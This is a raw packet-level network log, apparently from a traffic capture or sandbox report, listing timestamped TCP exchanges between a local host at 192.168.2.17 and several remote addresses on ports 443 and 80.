Apr 2, 2025 08:38:52.232053041 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.232059002 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.232089043 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.232106924 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.232768059 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.232781887 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.232841969 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.232847929 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.232935905 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.233396053 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.233424902 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.233499050 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.233505011 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.233561039 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.234719038 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.234735966 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.234796047 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.234802008 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.235033989 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.235809088 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.235826969 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.235883951 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.235889912 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.236020088 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.237150908 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.237164974 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.237224102 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.237229109 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.237258911 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.237293005 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.238002062 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.238018036 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.238076925 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.238085032 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.238166094 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.239200115 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.239219904 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.239286900 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.239294052 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.239339113 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.240415096 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.240430117 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.240473986 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.240479946 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.240550995 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.241185904 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.241199017 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.241262913 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.241269112 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.241374016 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.242341042 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.242357969 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.242417097 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.242422104 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.242484093 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.243686914 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.243704081 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.243803024 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.243813992 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.243897915 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.244288921 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.244303942 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.244380951 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.244389057 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.244457960 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.248987913 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.249003887 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.249080896 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.249092102 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.249174118 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.249191999 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.249232054 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.249238014 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.249265909 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.249298096 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.249716997 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.249743938 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.249780893 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.249789000 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.249814034 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.249835968 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.249962091 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.249975920 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.250037909 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.250044107 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.250605106 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.250623941 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.250684023 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.250689983 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.250837088 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.250849962 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.250904083 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.250910997 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.250951052 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.250971079 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.251538038 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.251553059 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.251621962 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.251627922 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.251724005 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.252794027 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.252809048 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.252902031 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.252907991 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.252966881 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.254565954 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.254582882 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.254659891 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.254666090 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.254759073 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.254780054 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.254797935 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.254847050 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.254853964 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.255202055 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.255440950 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.255458117 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.255522966 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.255527973 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.255558968 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.256102085 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.256120920 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.256170988 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.256175995 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.256207943 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.256225109 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.256869078 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.256885052 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.256957054 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.256964922 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.257014036 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.257481098 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.257494926 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.257586956 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.257596016 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.257693052 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.258240938 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.258258104 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.258311987 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.258322954 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.258333921 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.258383036 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.258425951 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.258517027 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.258532047 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.258578062 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.258584023 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.258610010 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.258761883 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.258784056 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.258853912 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.258861065 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.260231972 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.260246038 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.260318041 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.260324001 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.261092901 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.261111021 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.261163950 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.261169910 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.261226892 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.261528015 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.261543036 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.261600971 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.261606932 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.262578011 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.262597084 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.262669086 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.262679100 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.262715101 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.263500929 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.263514042 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.263572931 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.263581038 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.264334917 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.264354944 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.264393091 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.264400959 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.264434099 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.265203953 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.265223026 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.265280008 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.265286922 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.265978098 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.265996933 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.266036987 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.266043901 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.266082048 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.267008066 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.267023087 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.267081022 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.267087936 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.267452002 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.267472982 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.267538071 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.267544985 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.268163919 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.268177986 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.268232107 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.268239021 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.269424915 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.269443035 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.269483089 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.269494057 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.269543886 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.270327091 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.270339966 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.270401001 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.270406961 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.271214962 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.271230936 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.271300077 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.271308899 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.271950960 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.271965027 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.272016048 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.272021055 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.272059917 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.272258043 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.272275925 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.272315025 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.272320986 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.272357941 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.273133039 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.273145914 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.273211956 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.273217916 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.274188995 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.274208069 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.274262905 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.274267912 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.274311066 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.274939060 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.274972916 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.275063038 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.275068998 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.275518894 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.275532007 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.275587082 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.275593042 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.275619984 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.275639057 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.275672913 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.369586945 CEST	49673	443	192.168.2.17	204.79.197.203
Apr 2, 2025 08:38:53.422586918 CEST	49672	443	192.168.2.17	52.123.128.14
Apr 2, 2025 08:38:53.579557896 CEST	49673	443	192.168.2.17	204.79.197.203
Apr 2, 2025 08:38:53.950242043 CEST	49720	443	192.168.2.17	35.190.80.1
Apr 2, 2025 08:38:53.950294018 CEST	443	49720	35.190.80.1	192.168.2.17
Apr 2, 2025 08:38:53.950382948 CEST	49720	443	192.168.2.17	35.190.80.1
Apr 2, 2025 08:38:53.950525999 CEST	49720	443	192.168.2.17	35.190.80.1
Apr 2, 2025 08:38:53.950536966 CEST	443	49720	35.190.80.1	192.168.2.17
Apr 2, 2025 08:38:54.141012907 CEST	443	49720	35.190.80.1	192.168.2.17
Apr 2, 2025 08:38:54.141164064 CEST	49720	443	192.168.2.17	35.190.80.1
Apr 2, 2025 08:38:54.142332077 CEST	49720	443	192.168.2.17	35.190.80.1
Apr 2, 2025 08:38:54.142345905 CEST	443	49720	35.190.80.1	192.168.2.17
Apr 2, 2025 08:38:54.142627001 CEST	443	49720	35.190.80.1	192.168.2.17
Apr 2, 2025 08:38:54.143069029 CEST	49720	443	192.168.2.17	35.190.80.1
Apr 2, 2025 08:38:54.184276104 CEST	443	49720	35.190.80.1	192.168.2.17
Apr 2, 2025 08:38:54.348614931 CEST	443	49720	35.190.80.1	192.168.2.17
Apr 2, 2025 08:38:54.348685980 CEST	443	49720	35.190.80.1	192.168.2.17
Apr 2, 2025 08:38:54.348865032 CEST	49720	443	192.168.2.17	35.190.80.1
Apr 2, 2025 08:38:54.349046946 CEST	49720	443	192.168.2.17	35.190.80.1
Apr 2, 2025 08:38:54.349069118 CEST	443	49720	35.190.80.1	192.168.2.17
Apr 2, 2025 08:38:54.349081993 CEST	49720	443	192.168.2.17	35.190.80.1
Apr 2, 2025 08:38:54.349119902 CEST	49720	443	192.168.2.17	35.190.80.1
Apr 2, 2025 08:38:54.383732080 CEST	49682	443	192.168.2.17	51.132.193.104
Apr 2, 2025 08:38:54.399684906 CEST	49683	80	192.168.2.17	2.17.190.73
Apr 2, 2025 08:38:54.399744034 CEST	49671	443	192.168.2.17	52.109.28.46
Apr 2, 2025 08:38:54.623176098 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:54.626472950 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:54.626494884 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:55.541908026 CEST	49721	443	192.168.2.17	162.159.61.3
Apr 2, 2025 08:38:55.541953087 CEST	443	49721	162.159.61.3	192.168.2.17
Apr 2, 2025 08:38:55.542025089 CEST	49721	443	192.168.2.17	162.159.61.3
Apr 2, 2025 08:38:55.542198896 CEST	49721	443	192.168.2.17	162.159.61.3
Apr 2, 2025 08:38:55.542207956 CEST	443	49721	162.159.61.3	192.168.2.17
Apr 2, 2025 08:38:55.761684895 CEST	443	49721	162.159.61.3	192.168.2.17
Apr 2, 2025 08:38:55.761770964 CEST	49721	443	192.168.2.17	162.159.61.3
Apr 2, 2025 08:38:55.763093948 CEST	49721	443	192.168.2.17	162.159.61.3
Apr 2, 2025 08:38:55.763113976 CEST	443	49721	162.159.61.3	192.168.2.17
Apr 2, 2025 08:38:55.763422966 CEST	443	49721	162.159.61.3	192.168.2.17
Apr 2, 2025 08:38:55.812561989 CEST	49721	443	192.168.2.17	162.159.61.3
Apr 2, 2025 08:38:55.828567028 CEST	49672	443	192.168.2.17	52.123.128.14
Apr 2, 2025 08:38:55.988564014 CEST	49673	443	192.168.2.17	204.79.197.203
Apr 2, 2025 08:38:58.768708944 CEST	49726	443	192.168.2.17	142.251.41.14
Apr 2, 2025 08:38:58.768784046 CEST	443	49726	142.251.41.14	192.168.2.17
Apr 2, 2025 08:38:58.769483089 CEST	49726	443	192.168.2.17	142.251.41.14
Apr 2, 2025 08:38:58.769576073 CEST	49726	443	192.168.2.17	142.251.41.14
Apr 2, 2025 08:38:58.769593000 CEST	443	49726	142.251.41.14	192.168.2.17
Apr 2, 2025 08:38:58.961473942 CEST	443	49726	142.251.41.14	192.168.2.17
Apr 2, 2025 08:38:58.961648941 CEST	49726	443	192.168.2.17	142.251.41.14
Apr 2, 2025 08:38:58.962232113 CEST	443	49726	142.251.41.14	192.168.2.17
Apr 2, 2025 08:38:58.962310076 CEST	49726	443	192.168.2.17	142.251.41.14
Apr 2, 2025 08:38:58.979504108 CEST	49726	443	192.168.2.17	142.251.41.14
Apr 2, 2025 08:38:58.979547977 CEST	443	49726	142.251.41.14	192.168.2.17
Apr 2, 2025 08:38:58.979804039 CEST	443	49726	142.251.41.14	192.168.2.17
Apr 2, 2025 08:38:58.980156898 CEST	49726	443	192.168.2.17	142.251.41.14
Apr 2, 2025 08:38:59.020272970 CEST	443	49726	142.251.41.14	192.168.2.17
Apr 2, 2025 08:38:59.184581995 CEST	49682	443	192.168.2.17	51.132.193.104
Apr 2, 2025 08:38:59.199583054 CEST	49683	80	192.168.2.17	2.17.190.73
Apr 2, 2025 08:38:59.199677944 CEST	49671	443	192.168.2.17	52.109.28.46
Apr 2, 2025 08:38:59.335365057 CEST	443	49726	142.251.41.14	192.168.2.17
Apr 2, 2025 08:38:59.335589886 CEST	443	49726	142.251.41.14	192.168.2.17
Apr 2, 2025 08:38:59.335664034 CEST	49726	443	192.168.2.17	142.251.41.14
Apr 2, 2025 08:38:59.335680008 CEST	443	49726	142.251.41.14	192.168.2.17
Apr 2, 2025 08:38:59.339509010 CEST	443	49726	142.251.41.14	192.168.2.17
Apr 2, 2025 08:38:59.339652061 CEST	49726	443	192.168.2.17	142.251.41.14
Apr 2, 2025 08:38:59.339668036 CEST	443	49726	142.251.41.14	192.168.2.17
Apr 2, 2025 08:38:59.345943928 CEST	443	49726	142.251.41.14	192.168.2.17
Apr 2, 2025 08:38:59.346030951 CEST	443	49726	142.251.41.14	192.168.2.17
Apr 2, 2025 08:38:59.346060991 CEST	49726	443	192.168.2.17	142.251.41.14
Apr 2, 2025 08:38:59.346076965 CEST	443	49726	142.251.41.14	192.168.2.17
Apr 2, 2025 08:38:59.346164942 CEST	49726	443	192.168.2.17	142.251.41.14
Apr 2, 2025 08:38:59.352324009 CEST	443	49726	142.251.41.14	192.168.2.17
Apr 2, 2025 08:38:59.352421999 CEST	49726	443	192.168.2.17	142.251.41.14
Apr 2, 2025 08:38:59.358808041 CEST	443	49726	142.251.41.14	192.168.2.17
Apr 2, 2025 08:38:59.358884096 CEST	49726	443	192.168.2.17	142.251.41.14
Apr 2, 2025 08:38:59.358900070 CEST	443	49726	142.251.41.14	192.168.2.17
Apr 2, 2025 08:38:59.359119892 CEST	443	49726	142.251.41.14	192.168.2.17
Apr 2, 2025 08:38:59.359255075 CEST	49726	443	192.168.2.17	142.251.41.14
Apr 2, 2025 08:38:59.359255075 CEST	49726	443	192.168.2.17	142.251.41.14
Apr 2, 2025 08:38:59.527034044 CEST	49708	443	192.168.2.17	184.86.251.25
Apr 2, 2025 08:38:59.663588047 CEST	49726	443	192.168.2.17	142.251.41.14
Apr 2, 2025 08:38:59.663616896 CEST	443	49726	142.251.41.14	192.168.2.17
Apr 2, 2025 08:38:59.745918989 CEST	443	49708	184.86.251.25	192.168.2.17
Apr 2, 2025 08:39:00.632500887 CEST	49672	443	192.168.2.17	52.123.128.14
Apr 2, 2025 08:39:00.789575100 CEST	49673	443	192.168.2.17	204.79.197.203
Apr 2, 2025 08:39:08.793637037 CEST	49682	443	192.168.2.17	51.132.193.104
Apr 2, 2025 08:39:08.809623957 CEST	49683	80	192.168.2.17	2.17.190.73
Apr 2, 2025 08:39:08.809669018 CEST	49671	443	192.168.2.17	52.109.28.46
Apr 2, 2025 08:39:10.244642973 CEST	49672	443	192.168.2.17	52.123.128.14
Apr 2, 2025 08:39:10.404740095 CEST	49673	443	192.168.2.17	204.79.197.203
Apr 2, 2025 08:39:10.718146086 CEST	49728	443	192.168.2.17	151.101.194.137
